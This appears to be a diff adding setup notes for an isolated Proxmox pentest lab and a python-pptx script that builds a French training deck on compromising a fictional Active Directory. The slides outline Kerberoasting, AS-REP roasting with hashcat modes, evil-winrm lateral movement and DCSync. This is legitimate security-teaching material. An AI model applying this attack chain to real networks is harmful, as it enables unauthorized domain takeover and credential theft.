|||||||
`dir`, Proxmox refuse le clone lié et le script bascule sur des copies complètes — prévoyez
|
`dir`, Proxmox refuse le clone lié et le script bascule sur des copies complètes — prévoyez
|
||||||
alors `KALI_COUNT × 22 Go`.
|
alors `KALI_COUNT × 22 Go`.
|
||||||
|
|
||||||
|
### GUI des Kali : xrdp (`KALI_XRDP=1`)
|
||||||
|
|
||||||
|
Avec `KALI_XRDP=1` (valeur par défaut), `xrdp` est installé **dans le gabarit** au moment de
|
||||||
|
`kali install`. Le pont n'ayant pas Internet, le script démarre un `squid` temporaire sur
|
||||||
|
`10.10.10.1`, n'accepte que l'adresse de la VM de préparation (`10.10.10.249`), installe le
|
||||||
|
paquet, puis arrête et désactive le proxy. Chaque clone — et chaque `kali reset` — garde donc
|
||||||
|
xrdp.
|
||||||
|
|
||||||
|
Pour donner RDP aux participants, exposez un port par siège — une unité systemd par port, donc
|
||||||
|
persistante :
|
||||||
|
|
||||||
|
```bash
|
||||||
|
apt install -y socat
|
||||||
|
./lab.sh kali rdp # 3381 … 338N, un port par siège
|
||||||
|
./lab.sh kali rdp-off # retire les redirections
|
||||||
|
```
|
||||||
|
|
||||||
|
Un client RDP sur `<hôte>:3381` … `:3385`, utilisateur `kali`, mot de passe `kali`. La commande
|
||||||
|
imprime la correspondance siège → port et le nom d'hôte à utiliser. Si le pare-feu Proxmox est
|
||||||
|
actif, ouvrez ces ports vers votre réseau de participants.
|
||||||
|
|
||||||
|
SSH reste disponible sur les sièges (port 22) et donne un terminal sans passer par une session
|
||||||
|
graphique.
|
||||||
|
|
||||||
### Accès des participants : console web (recommandé)
|
### Accès des participants : console web (recommandé)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
|
|||||||
@@ -44,6 +44,18 @@ Aucun outil à installer : l'image Kali du laboratoire contient déjà `nxc` (ne
|
|||||||
`evil-winrm`, `hashcat` et le collecteur `bloodhound-python`. L'interface BloodHound n'est pas
|
`evil-winrm`, `hashcat` et le collecteur `bloodhound-python`. L'interface BloodHound n'est pas
|
||||||
installée et n'est pas nécessaire — le collecteur produit des fichiers JSON lisibles.
|
installée et n'est pas nécessaire — le collecteur produit des fichiers JSON lisibles.
|
||||||
|
|
||||||
|
### La liste de mots
|
||||||
|
|
||||||
|
L'atelier casse les hashs avec une liste ciblée (`norbourg.txt`, 1716 entrées) qui n'est pas
|
||||||
|
dans l'image Kali. Récupérez-la auprès de l'instructeur, puis :
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo mkdir -p /opt/norbourg/wordlists
|
||||||
|
sudo cp norbourg.txt /opt/norbourg/wordlists/
|
||||||
|
```
|
||||||
|
|
||||||
|
Les chemins des exercices supposent `/opt/norbourg/wordlists/norbourg.txt`.
|
||||||
|
|
||||||
### Si vous utilisez la VM Kali du laboratoire
|
### Si vous utilisez la VM Kali du laboratoire
|
||||||
|
|
||||||
Elle est déjà branchée sur le pont : elle reçoit son adresse par DHCP et son DNS du contrôleur
|
Elle est déjà branchée sur le pont : elle reçoit son adresse par DHCP et son DNS du contrôleur
|
||||||
@@ -149,7 +161,7 @@ sudo nmcli con up "<votre-connexion>"
|
|||||||
| `dc01` | `10.10.10.10` | `10.10.10.10` |
|
| `dc01` | `10.10.10.10` | `10.10.10.10` |
|
||||||
| `fs01` | `10.10.10.20` | `10.10.10.20` |
|
| `fs01` | `10.10.10.20` | `10.10.10.20` |
|
||||||
| `ws01` | `10.10.10.31` | `10.10.10.31` |
|
| `ws01` | `10.10.10.31` | `10.10.10.31` |
|
||||||
| Kali fournie | `10.10.10.101` | `10.10.10.41` et suivantes, une par personne |
|
| Kali du participant | DHCP `10.10.10.100`–`200` | `10.10.10.41` et suivantes si une VM est fournie |
|
||||||
| Plage DHCP | `10.10.10.100` – `10.10.10.200` | `10.10.10.100` – `10.10.10.200` |
|
| Plage DHCP | `10.10.10.100` – `10.10.10.200` | `10.10.10.100` – `10.10.10.200` |
|
||||||
|
|
||||||
La plage DHCP est distribuée par DC01 aux machines du pont. Le DC, FS01, WS01 et les Kali
|
La plage DHCP est distribuée par DC01 aux machines du pont. Le DC, FS01, WS01 et les Kali
|
||||||
|
|||||||
@@ -0,0 +1,571 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Build the Norbourg workshop deck (first draft).
|
||||||
|
|
||||||
|
python3 session1/docs/slides/build_slides.py
|
||||||
|
|
||||||
|
Everything lives in this file so the deck can be regenerated after a text
|
||||||
|
change. Edit freely in PowerPoint; this script is only the starting point.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
from pptx import Presentation
|
||||||
|
from pptx.dml.color import RGBColor
|
||||||
|
from pptx.enum.shapes import MSO_SHAPE
|
||||||
|
from pptx.enum.text import MSO_ANCHOR, PP_ALIGN
|
||||||
|
from pptx.oxml.ns import qn
|
||||||
|
from pptx.util import Emu, Inches, Pt
|
||||||
|
|
||||||
|
OUT = Path(__file__).with_name("norbourg-atelier-1.pptx")
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------ palette
|
||||||
|
NAVY = RGBColor(0x0F, 0x27, 0x40)
|
||||||
|
NAVY_SOFT = RGBColor(0x1B, 0x3A, 0x5C)
|
||||||
|
TEAL = RGBColor(0x2A, 0x7F, 0x7F)
|
||||||
|
AMBER = RGBColor(0xC0, 0x8A, 0x2E)
|
||||||
|
PAPER = RGBColor(0xF6, 0xF3, 0xEC)
|
||||||
|
WHITE = RGBColor(0xFF, 0xFF, 0xFF)
|
||||||
|
INK = RGBColor(0x1F, 0x23, 0x28)
|
||||||
|
GRAY = RGBColor(0x6B, 0x72, 0x80)
|
||||||
|
LINE = RGBColor(0xD8, 0xD2, 0xC4)
|
||||||
|
|
||||||
|
FONT = "Arial"
|
||||||
|
W, H = 13.333, 7.5
|
||||||
|
|
||||||
|
|
||||||
|
def new_deck():
|
||||||
|
prs = Presentation()
|
||||||
|
prs.slide_width = Inches(W)
|
||||||
|
prs.slide_height = Inches(H)
|
||||||
|
return prs
|
||||||
|
|
||||||
|
|
||||||
|
def blank(prs, bg=PAPER):
|
||||||
|
slide = prs.slides.add_slide(prs.slide_layouts[6]) # blank
|
||||||
|
fill = slide.background.fill
|
||||||
|
fill.solid()
|
||||||
|
fill.fore_color.rgb = bg
|
||||||
|
return slide
|
||||||
|
|
||||||
|
|
||||||
|
def textbox(slide, left, top, width, height, text="", size=18, color=INK,
|
||||||
|
bold=False, align=PP_ALIGN.LEFT, anchor=MSO_ANCHOR.TOP,
|
||||||
|
line_spacing=1.1, font=FONT):
|
||||||
|
box = slide.shapes.add_textbox(Inches(left), Inches(top), Inches(width), Inches(height))
|
||||||
|
tf = box.text_frame
|
||||||
|
tf.word_wrap = True
|
||||||
|
tf.margin_left = 0
|
||||||
|
tf.margin_right = 0
|
||||||
|
tf.margin_top = 0
|
||||||
|
tf.margin_bottom = 0
|
||||||
|
tf.vertical_anchor = anchor
|
||||||
|
p = tf.paragraphs[0]
|
||||||
|
p.alignment = align
|
||||||
|
p.line_spacing = line_spacing
|
||||||
|
run = p.add_run()
|
||||||
|
run.text = text
|
||||||
|
run.font.size = Pt(size)
|
||||||
|
run.font.bold = bold
|
||||||
|
run.font.color.rgb = color
|
||||||
|
run.font.name = font
|
||||||
|
return box
|
||||||
|
|
||||||
|
|
||||||
|
def bullets(slide, items, left=0.9, top=1.85, width=11.5, height=4.6,
|
||||||
|
size=19, color=INK, space=12):
|
||||||
|
box = slide.shapes.add_textbox(Inches(left), Inches(top), Inches(width), Inches(height))
|
||||||
|
tf = box.text_frame
|
||||||
|
tf.word_wrap = True
|
||||||
|
tf.margin_left = 0
|
||||||
|
tf.margin_right = 0
|
||||||
|
tf.margin_top = 0
|
||||||
|
tf.margin_bottom = 0
|
||||||
|
first = True
|
||||||
|
for item in items:
|
||||||
|
level = 0
|
||||||
|
if isinstance(item, tuple):
|
||||||
|
item, level = item
|
||||||
|
p = tf.paragraphs[0] if first else tf.add_paragraph()
|
||||||
|
first = False
|
||||||
|
p.line_spacing = 1.15
|
||||||
|
p.space_after = Pt(space)
|
||||||
|
pPr = p._p.get_or_add_pPr()
|
||||||
|
pPr.set("marL", str(Inches(0.34)))
|
||||||
|
pPr.set("indent", str(-Inches(0.34)))
|
||||||
|
buFont = pPr.makeelement(qn("a:buFont"), {"typeface": "Arial"})
|
||||||
|
buChar = pPr.makeelement(qn("a:buChar"), {"char": "•" if level == 0 else "–"})
|
||||||
|
pPr.append(buFont)
|
||||||
|
pPr.append(buChar)
|
||||||
|
run = p.add_run()
|
||||||
|
run.text = item
|
||||||
|
run.font.size = Pt(size if level == 0 else size - 2)
|
||||||
|
run.font.color.rgb = color if level == 0 else GRAY
|
||||||
|
run.font.name = FONT
|
||||||
|
return box
|
||||||
|
|
||||||
|
|
||||||
|
def content_slide(prs, title, kicker=None):
|
||||||
|
slide = blank(prs)
|
||||||
|
bar = slide.shapes.add_shape(MSO_SHAPE.RECTANGLE, 0, 0, Inches(W), Inches(0.14))
|
||||||
|
bar.fill.solid()
|
||||||
|
bar.fill.fore_color.rgb = NAVY
|
||||||
|
bar.line.fill.background()
|
||||||
|
|
||||||
|
if kicker:
|
||||||
|
textbox(slide, 0.9, 0.55, 11.5, 0.3, kicker.upper(), size=11, color=TEAL, bold=True)
|
||||||
|
textbox(slide, 0.9, 0.85, 11.5, 0.8, title, size=30, color=NAVY, bold=True)
|
||||||
|
|
||||||
|
accent = slide.shapes.add_shape(MSO_SHAPE.RECTANGLE, Inches(0.9), Inches(1.62),
|
||||||
|
Inches(1.1), Inches(0.05))
|
||||||
|
accent.fill.solid()
|
||||||
|
accent.fill.fore_color.rgb = AMBER
|
||||||
|
accent.line.fill.background()
|
||||||
|
return slide
|
||||||
|
|
||||||
|
|
||||||
|
def footer(slide, number):
|
||||||
|
textbox(slide, 0.9, 6.95, 8.0, 0.3, "Laboratoire Norbourg · atelier 1",
|
||||||
|
size=10, color=GRAY)
|
||||||
|
textbox(slide, 11.6, 6.95, 1.0, 0.3, f"{number:02d}", size=10, color=GRAY,
|
||||||
|
align=PP_ALIGN.RIGHT)
|
||||||
|
|
||||||
|
|
||||||
|
def notes(slide, text):
|
||||||
|
slide.notes_slide.notes_text_frame.text = text
|
||||||
|
|
||||||
|
|
||||||
|
def section(prs, number, title, subtitle=""):
|
||||||
|
slide = blank(prs, NAVY)
|
||||||
|
textbox(slide, 0.9, 2.2, 1.6, 0.4, "SÉQUENCE", size=12, color=TEAL, bold=True)
|
||||||
|
textbox(slide, 0.9, 2.55, 2.0, 1.5, number, size=80, color=AMBER, bold=True)
|
||||||
|
textbox(slide, 2.6, 2.75, 9.8, 1.0, title, size=40, color=WHITE, bold=True)
|
||||||
|
if subtitle:
|
||||||
|
textbox(slide, 2.6, 3.85, 9.5, 0.8, subtitle, size=17, color=LINE)
|
||||||
|
return slide
|
||||||
|
|
||||||
|
|
||||||
|
def card(slide, left, top, width, height, title, body="", accent=TEAL,
|
||||||
|
title_size=16, body_size=12):
|
||||||
|
box = slide.shapes.add_shape(MSO_SHAPE.ROUNDED_RECTANGLE, Inches(left), Inches(top),
|
||||||
|
Inches(width), Inches(height))
|
||||||
|
box.adjustments[0] = 0.08
|
||||||
|
box.fill.solid()
|
||||||
|
box.fill.fore_color.rgb = WHITE
|
||||||
|
box.line.color.rgb = LINE
|
||||||
|
box.line.width = Pt(1)
|
||||||
|
box.shadow.inherit = False
|
||||||
|
|
||||||
|
bar = slide.shapes.add_shape(MSO_SHAPE.RECTANGLE, Inches(left), Inches(top),
|
||||||
|
Inches(0.07), Inches(height))
|
||||||
|
bar.fill.solid()
|
||||||
|
bar.fill.fore_color.rgb = accent
|
||||||
|
bar.line.fill.background()
|
||||||
|
|
||||||
|
textbox(slide, left + 0.25, top + 0.18, width - 0.4, 0.4, title,
|
||||||
|
size=title_size, color=NAVY, bold=True)
|
||||||
|
if body:
|
||||||
|
textbox(slide, left + 0.25, top + 0.62, width - 0.4, height - 0.7, body,
|
||||||
|
size=body_size, color=GRAY, line_spacing=1.05)
|
||||||
|
|
||||||
|
|
||||||
|
def arrow(slide, left, top, width, height=0.22, color=TEAL):
|
||||||
|
shape = slide.shapes.add_shape(MSO_SHAPE.RIGHT_ARROW, Inches(left), Inches(top),
|
||||||
|
Inches(width), Inches(height))
|
||||||
|
shape.fill.solid()
|
||||||
|
shape.fill.fore_color.rgb = color
|
||||||
|
shape.line.fill.background()
|
||||||
|
|
||||||
|
|
||||||
|
def table(slide, data, left, top, width, col_widths, header=True, size=15,
|
||||||
|
row_height=0.5):
|
||||||
|
rows, cols = len(data), len(data[0])
|
||||||
|
shape = slide.shapes.add_table(rows, cols, Inches(left), Inches(top),
|
||||||
|
Inches(width), Inches(row_height * rows))
|
||||||
|
tbl = shape.table
|
||||||
|
for i, w in enumerate(col_widths):
|
||||||
|
tbl.columns[i].width = Inches(w)
|
||||||
|
for r in range(rows):
|
||||||
|
tbl.rows[r].height = Inches(row_height)
|
||||||
|
for c in range(cols):
|
||||||
|
cell = tbl.cell(r, c)
|
||||||
|
cell.text = ""
|
||||||
|
cell.margin_left = Inches(0.12)
|
||||||
|
cell.margin_right = Inches(0.1)
|
||||||
|
cell.margin_top = Inches(0.04)
|
||||||
|
cell.margin_bottom = Inches(0.04)
|
||||||
|
cell.vertical_anchor = MSO_ANCHOR.MIDDLE
|
||||||
|
p = cell.text_frame.paragraphs[0]
|
||||||
|
run = p.add_run()
|
||||||
|
run.text = str(data[r][c])
|
||||||
|
run.font.name = FONT
|
||||||
|
run.font.size = Pt(size if r else size - 1)
|
||||||
|
run.font.bold = bool(header and r == 0)
|
||||||
|
if header and r == 0:
|
||||||
|
cell.fill.solid()
|
||||||
|
cell.fill.fore_color.rgb = NAVY
|
||||||
|
run.font.color.rgb = WHITE
|
||||||
|
else:
|
||||||
|
cell.fill.solid()
|
||||||
|
cell.fill.fore_color.rgb = WHITE if r % 2 else PAPER
|
||||||
|
run.font.color.rgb = INK
|
||||||
|
return tbl
|
||||||
|
|
||||||
|
|
||||||
|
def build():
|
||||||
|
prs = new_deck()
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------- 01
|
||||||
|
s = blank(prs, NAVY)
|
||||||
|
textbox(s, 0.9, 0.9, 8.0, 0.4, "ATELIER 1 · PENTEST DE DOMAINE", size=12,
|
||||||
|
color=TEAL, bold=True)
|
||||||
|
textbox(s, 0.9, 1.55, 9.5, 1.0, "Laboratoire Norbourg", size=50, color=WHITE, bold=True)
|
||||||
|
textbox(s, 0.9, 2.75, 8.6, 1.5,
|
||||||
|
"Prendre le contrôle d'un Active Directory,\ndu site Web jusqu'au DCSync",
|
||||||
|
size=21, color=LINE, line_spacing=1.25)
|
||||||
|
rule = s.shapes.add_shape(MSO_SHAPE.RECTANGLE, Inches(0.9), Inches(4.35),
|
||||||
|
Inches(1.6), Inches(0.06))
|
||||||
|
rule.fill.solid()
|
||||||
|
rule.fill.fore_color.rgb = AMBER
|
||||||
|
rule.line.fill.background()
|
||||||
|
textbox(s, 0.9, 4.7, 8.0, 0.4, "Document de travail · première ébauche", size=14, color=GRAY)
|
||||||
|
textbox(s, 0.9, 6.55, 9.0, 0.4, "Instructeur : ______________________ Date : ______________", size=12, color=GRAY)
|
||||||
|
|
||||||
|
# decorative blocks
|
||||||
|
for i, col in enumerate((TEAL, AMBER, NAVY_SOFT)):
|
||||||
|
b = s.shapes.add_shape(MSO_SHAPE.RECTANGLE, Inches(10.6 + i * 0.62),
|
||||||
|
Inches(5.6), Inches(0.5), Inches(1.2))
|
||||||
|
b.fill.solid()
|
||||||
|
b.fill.fore_color.rgb = col
|
||||||
|
b.line.fill.background()
|
||||||
|
notes(s, "Adapter la date et le nom de l'instructeur. Le décor Norbourg est fictif et "
|
||||||
|
"pédagogique ; ne pas présenter les faits réels de l'affaire comme source du labo.")
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------- 02
|
||||||
|
s = content_slide(prs, "Le contexte", "Pourquoi ce laboratoire")
|
||||||
|
bullets(s, [
|
||||||
|
"Norbourg Services Financiers : firme de gestion de fonds, fermée en 2005.",
|
||||||
|
"Le serveur de fichiers n'a jamais été mis au rancart.",
|
||||||
|
"Le site Web de 2002 est toujours en ligne, archives du service des TI comprises.",
|
||||||
|
"La direction veut un audit avant de confier la migration.",
|
||||||
|
"Votre mandat : montrer ce qu'un attaquant pourrait y faire.",
|
||||||
|
])
|
||||||
|
footer(s, len(prs.slides))
|
||||||
|
notes(s, "Le décor est une fiction pédagogique. Le point important : un système laissé "
|
||||||
|
"en l'état raconte son histoire à qui sait lire ses journaux et ses fichiers.")
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------- 03
|
||||||
|
s = content_slide(prs, "L'objectif", "Ce qu'on cherche")
|
||||||
|
bullets(s, [
|
||||||
|
"Partir d'un accès anonyme.",
|
||||||
|
"Prendre le contrôle du domaine — pas seulement « entrer » sur une machine.",
|
||||||
|
"Deux drapeaux : user.txt sur un poste, root.txt sur le contrôleur de domaine.",
|
||||||
|
"Format NORBOURG{...} ; ils se rapportent au débriefing.",
|
||||||
|
"Être Domain Admin est une route ; ce n'est pas la seule.",
|
||||||
|
])
|
||||||
|
footer(s, len(prs.slides))
|
||||||
|
notes(s, "Insister sur la dernière ligne : le chemin du laboratoire passe par une "
|
||||||
|
"délégation, pas par un compte Domain Admins.")
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------- 04
|
||||||
|
s = content_slide(prs, "Le déroulé", "Une séance de deux heures")
|
||||||
|
table(s, [
|
||||||
|
["Durée", "Segment"],
|
||||||
|
["15 min", "Accueil, contexte, règles d'engagement"],
|
||||||
|
["15 min", "Rappel terminal et méthodologie"],
|
||||||
|
["75 min", "Travail en autonomie · indices à trois niveaux"],
|
||||||
|
["20 min", "Débriefing technique : le chemin complet"],
|
||||||
|
["15 min", "Volet défensif : ce que les journaux auraient montré"],
|
||||||
|
], 0.9, 1.95, 11.4, [1.6, 9.8], size=16, row_height=0.55)
|
||||||
|
textbox(s, 0.9, 5.9, 11.4, 0.5,
|
||||||
|
"Les plus rapides peuvent explorer les archives ; les autres reçoivent des indices.",
|
||||||
|
size=13, color=GRAY)
|
||||||
|
footer(s, len(prs.slides))
|
||||||
|
notes(s, "Le minutage est une cible, pas une contrainte. En pratique, l'autonomie "
|
||||||
|
"déborde souvent de dix minutes.")
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------- 05
|
||||||
|
s = content_slide(prs, "Règles d'engagement", "Avant de commencer")
|
||||||
|
bullets(s, [
|
||||||
|
"Seulement 10.10.10.0/24.",
|
||||||
|
"Ne touchez pas à l'hôte du laboratoire (10.10.10.230 sur qemu, 10.10.10.1 sur Proxmox).",
|
||||||
|
"Pas de déni de service : pas de balayage agressif, pas de saturation.",
|
||||||
|
"Pas de destruction : comptes, mots de passe, fichiers.",
|
||||||
|
"Rien ne sort du laboratoire.",
|
||||||
|
"Vous cassez quelque chose ? Dites-le : ça se répare, mais il faut le savoir.",
|
||||||
|
])
|
||||||
|
footer(s, len(prs.slides))
|
||||||
|
notes(s, "Ces règles sont aussi un prétexte pour parler du périmètre d'un vrai mandat : "
|
||||||
|
"ce qui est autorisé, ce qui ne l'est pas, et pourquoi on l'écrit.")
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------- 06
|
||||||
|
s = content_slide(prs, "Le laboratoire", "Trois machines, un segment isolé")
|
||||||
|
|
||||||
|
seg = s.shapes.add_shape(MSO_SHAPE.ROUNDED_RECTANGLE, Inches(5.0), Inches(1.95),
|
||||||
|
Inches(7.9), Inches(4.55))
|
||||||
|
seg.adjustments[0] = 0.04
|
||||||
|
seg.fill.solid()
|
||||||
|
seg.fill.fore_color.rgb = WHITE
|
||||||
|
seg.line.color.rgb = LINE
|
||||||
|
seg.line.width = Pt(1.2)
|
||||||
|
seg.shadow.inherit = False
|
||||||
|
textbox(s, 5.35, 2.1, 7.2, 0.35, "10.10.10.0/24 · pont isolé", size=13,
|
||||||
|
color=TEAL, bold=True)
|
||||||
|
|
||||||
|
card(s, 5.35, 2.55, 7.2, 0.95, "DC01 · 10.10.10.10", "domaine, DNS, DHCP", NAVY)
|
||||||
|
card(s, 5.35, 3.65, 7.2, 0.95, "FS01 · 10.10.10.20", "site 2002, partages", NAVY)
|
||||||
|
card(s, 5.35, 4.75, 7.2, 0.95, "WS01 · 10.10.10.31", "poste de travail", NAVY)
|
||||||
|
|
||||||
|
textbox(s, 0.9, 2.2, 3.2, 0.35, "Participant", size=12, color=GRAY, bold=True)
|
||||||
|
card(s, 0.9, 2.6, 3.3, 1.1, "Kali · 10.10.10.x", "votre machine d'attaque", TEAL)
|
||||||
|
|
||||||
|
arrow(s, 4.35, 3.05, 0.55)
|
||||||
|
|
||||||
|
textbox(s, 5.35, 5.9, 7.2, 0.4, "aucun accès Internet, aucun accès au réseau du bureau",
|
||||||
|
size=12, color=GRAY)
|
||||||
|
footer(s, len(prs.slides))
|
||||||
|
notes(s, "Le pont n'a aucun port. Une VM compromise ne peut pas atteindre le réseau "
|
||||||
|
"d'entreprise — c'est la propriété la plus importante du montage.")
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------- 07
|
||||||
|
s = content_slide(prs, "Votre poste de travail", "Kali, prêt à l'emploi")
|
||||||
|
bullets(s, [
|
||||||
|
"Votre Kali, branchée au réseau du laboratoire (ou une VM fournie sur Proxmox).",
|
||||||
|
"VM fournie : kali / kali ; sinon, vos propres identifiants.",
|
||||||
|
"Déjà installés : nxc, Impacket, evil-winrm, hashcat, bloodhound-python.",
|
||||||
|
"DNS : 10.10.10.10, le contrôleur de domaine.",
|
||||||
|
"Liste de mots : /opt/norbourg/wordlists/norbourg.txt.",
|
||||||
|
"Pas d'Internet — tout ce qu'il faut est déjà là.",
|
||||||
|
])
|
||||||
|
footer(s, len(prs.slides))
|
||||||
|
notes(s, "Faire vérifier une fois : ping 10.10.10.20, getent hosts fs01.norbourg.lab. "
|
||||||
|
"Si la résolution échoue, le reste de l'atelier sera incompréhensible.")
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------- 08
|
||||||
|
s = content_slide(prs, "Méthodologie", "Six temps, dans l'ordre")
|
||||||
|
steps = [
|
||||||
|
("1", "Reconnaissance", "qui répond, quels services"),
|
||||||
|
("2", "Énumération", "partages, comptes, pages, versions"),
|
||||||
|
("3", "Point d'entrée", "un premier identifiant valide"),
|
||||||
|
("4", "Élévation", "d'un compte ordinaire à un compte puissant"),
|
||||||
|
("5", "Latéral", "d'une machine à l'autre"),
|
||||||
|
("6", "Domaine", "la cible finale"),
|
||||||
|
]
|
||||||
|
for i, (n, title, sub) in enumerate(steps):
|
||||||
|
col = i % 3
|
||||||
|
row = i // 3
|
||||||
|
x = 0.9 + col * 3.9
|
||||||
|
y = 2.0 + row * 2.1
|
||||||
|
card(s, x, y, 3.55, 1.55, f"{n}. {title}", sub, TEAL if i < 3 else AMBER,
|
||||||
|
title_size=15, body_size=12)
|
||||||
|
footer(s, len(prs.slides))
|
||||||
|
notes(s, "La méthodologie compte plus que l'outil : les participants qui sautent "
|
||||||
|
"l'énumération tournent en rond.")
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------- 09
|
||||||
|
s = content_slide(prs, "Repères Active Directory", "Le vocabulaire du débriefing")
|
||||||
|
bullets(s, [
|
||||||
|
"Contrôleur de domaine : Kerberos (88), LDAP (389), SMB (445).",
|
||||||
|
"SPN : un service publié dans l'annuaire — et le ticket qui va avec.",
|
||||||
|
"ACL / ACE : qui peut quoi, sur quel objet.",
|
||||||
|
"Objets protégés : adminCount=1, ACL réécrite par SDProp chaque heure.",
|
||||||
|
"Réplication : les DC se copient les secrets ; DCSync emprunte ce canal.",
|
||||||
|
])
|
||||||
|
footer(s, len(prs.slides))
|
||||||
|
notes(s, "Pas un cours d'AD : juste les cinq notions qui reviennent dans le chemin. "
|
||||||
|
"Le reste s'explique au moment où il sert.")
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------- 10
|
||||||
|
s = content_slide(prs, "Le fil narratif", "Lisez les archives")
|
||||||
|
bullets(s, [
|
||||||
|
"Le partage Public contient les archives du service des TI : 1985, 2003, 2004, 2011, 2016, 2019.",
|
||||||
|
"Chaque note justifie une décision : compte de service et SPN, mot de passe permanent.",
|
||||||
|
"La délégation a été refaite « pour chaque compte ».",
|
||||||
|
"Le groupe WS Admins, puis Sauvegarde-AD et ses droits de réplication.",
|
||||||
|
"Ces notes expliquent pourquoi le laboratoire est dans cet état.",
|
||||||
|
])
|
||||||
|
footer(s, len(prs.slides))
|
||||||
|
notes(s, "C'est le matériel du débriefing : chaque droit exploité se relie à une "
|
||||||
|
"décision documentée. Les participants qui lisent les archives comprennent "
|
||||||
|
"plus vite.")
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------- 11
|
||||||
|
s = content_slide(prs, "À vous de jouer", "75 minutes, deux drapeaux")
|
||||||
|
bullets(s, [
|
||||||
|
"Commencez par le site : http://10.10.10.20/",
|
||||||
|
"Trois niveaux d'indices ; demandez-les un à la fois.",
|
||||||
|
"Objectif : user.txt sur un poste, root.txt sur le contrôleur de domaine.",
|
||||||
|
"Notez vos commandes : le débriefing s'appuie sur votre parcours.",
|
||||||
|
"Le temps restant s'affiche au tableau ; les plus rapides explorent les archives.",
|
||||||
|
], size=19)
|
||||||
|
footer(s, len(prs.slides))
|
||||||
|
notes(s, "Slide de lancement. Ne pas révéler le chemin : les indices doivent rester "
|
||||||
|
"progressifs. Rappeler que le laboratoire est isolé et que rien ne sort.")
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------- 12
|
||||||
|
s = section(prs, "02", "Débriefing", "Le chemin complet — à ne pas montrer avant l'exercice")
|
||||||
|
footer(s, len(prs.slides))
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------- 12
|
||||||
|
s = content_slide(prs, "Le chemin, en une page", "Du site Web au DCSync")
|
||||||
|
row1 = ["Site 2002", "SMB", "AS-REP", "Kerberoast"]
|
||||||
|
row2 = ["WinRM / WS01", "ACL", "Réplication", "DCSync"]
|
||||||
|
for i, label in enumerate(row1):
|
||||||
|
x = 0.9 + i * 3.0
|
||||||
|
card(s, x, 2.0, 2.55, 0.95, label, "", TEAL, title_size=15)
|
||||||
|
if i < 3:
|
||||||
|
arrow(s, x + 2.62, 2.36, 0.32)
|
||||||
|
textbox(s, 0.9, 3.2, 5.0, 0.35, "puis…", size=12, color=GRAY, bold=True)
|
||||||
|
for i, label in enumerate(row2):
|
||||||
|
x = 0.9 + i * 3.0
|
||||||
|
card(s, x, 3.75, 2.55, 0.95, label, "", AMBER, title_size=15)
|
||||||
|
if i < 3:
|
||||||
|
arrow(s, x + 2.62, 4.11, 0.32, color=AMBER)
|
||||||
|
textbox(s, 0.9, 5.15, 11.6, 0.9,
|
||||||
|
"Chaque étape produit la suivante : un identifiant, un hash, une session, un droit, "
|
||||||
|
"puis les secrets du domaine.",
|
||||||
|
size=15, color=GRAY)
|
||||||
|
footer(s, len(prs.slides))
|
||||||
|
notes(s, "Vue d'ensemble à garder au tableau pendant le débriefing. Les slides suivantes "
|
||||||
|
"détaillent chaque maillon.")
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------- 13
|
||||||
|
s = content_slide(prs, "Le point d'entrée", "Un site de 2002, une note oubliée")
|
||||||
|
bullets(s, [
|
||||||
|
"Le site expose /public/ : documents, archives, fichiers de travail.",
|
||||||
|
"IT-inventaire.txt laisse un identifiant : helpdesk1.",
|
||||||
|
"Le même mot de passe ouvre le partage Public.",
|
||||||
|
"Les archives donnent les noms, les habitudes et les décisions.",
|
||||||
|
"Pas d'exploit : un fichier laissé au mauvais endroit.",
|
||||||
|
])
|
||||||
|
footer(s, len(prs.slides))
|
||||||
|
notes(s, "Le message : la reconnaissance Web et SMB est la même enquête. "
|
||||||
|
"Le site n'est pas un décor, c'est une source.")
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------- 14
|
||||||
|
s = content_slide(prs, "Deux hashs, aucun bruit", "AS-REP et Kerberoasting")
|
||||||
|
card(s, 0.9, 1.95, 5.6, 2.2, "j.contractor · AS-REP",
|
||||||
|
"Pré-authentification désactivée : le DC renvoie un TGT chiffré "
|
||||||
|
"sans vérifier le mot de passe.\nhashcat -m 18200", NAVY, body_size=13)
|
||||||
|
card(s, 6.9, 1.95, 5.6, 2.2, "svc_backup · Kerberoasting",
|
||||||
|
"Le compte a un SPN MSSQL : tout utilisateur authentifié peut demander "
|
||||||
|
"un ticket de service.\nhashcat -m 13100", NAVY, body_size=13)
|
||||||
|
bullets(s, [
|
||||||
|
"Cassage hors ligne : quelques secondes avec la liste de l'atelier.",
|
||||||
|
"Côté AD : une demande de TGT (4768) et une demande de service (4769).",
|
||||||
|
"Le cassage lui-même ne laisse aucune trace dans l'annuaire.",
|
||||||
|
], top=4.5, width=11.5, height=2.0, size=16)
|
||||||
|
footer(s, len(prs.slides))
|
||||||
|
notes(s, "Deux comptes, deux raisons différentes : l'un n'exige pas de "
|
||||||
|
"pré-authentification, l'autre publie un SPN. Le point commun : le mot de passe "
|
||||||
|
"voyage sous forme de hash, et se casse ailleurs.")
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------- 15
|
||||||
|
s = content_slide(prs, "Le mouvement latéral", "Un compte de service, administrateur local")
|
||||||
|
bullets(s, [
|
||||||
|
"svc_backup est membre de WS Admins.",
|
||||||
|
"WS Admins est administrateur local sur ws01.",
|
||||||
|
"WinRM (5985) : evil-winrm, ou nxc winrm.",
|
||||||
|
"user.txt est dans C:\\flag.",
|
||||||
|
"Un compte de service qui ouvre une session interactive : déjà une anomalie.",
|
||||||
|
])
|
||||||
|
footer(s, len(prs.slides))
|
||||||
|
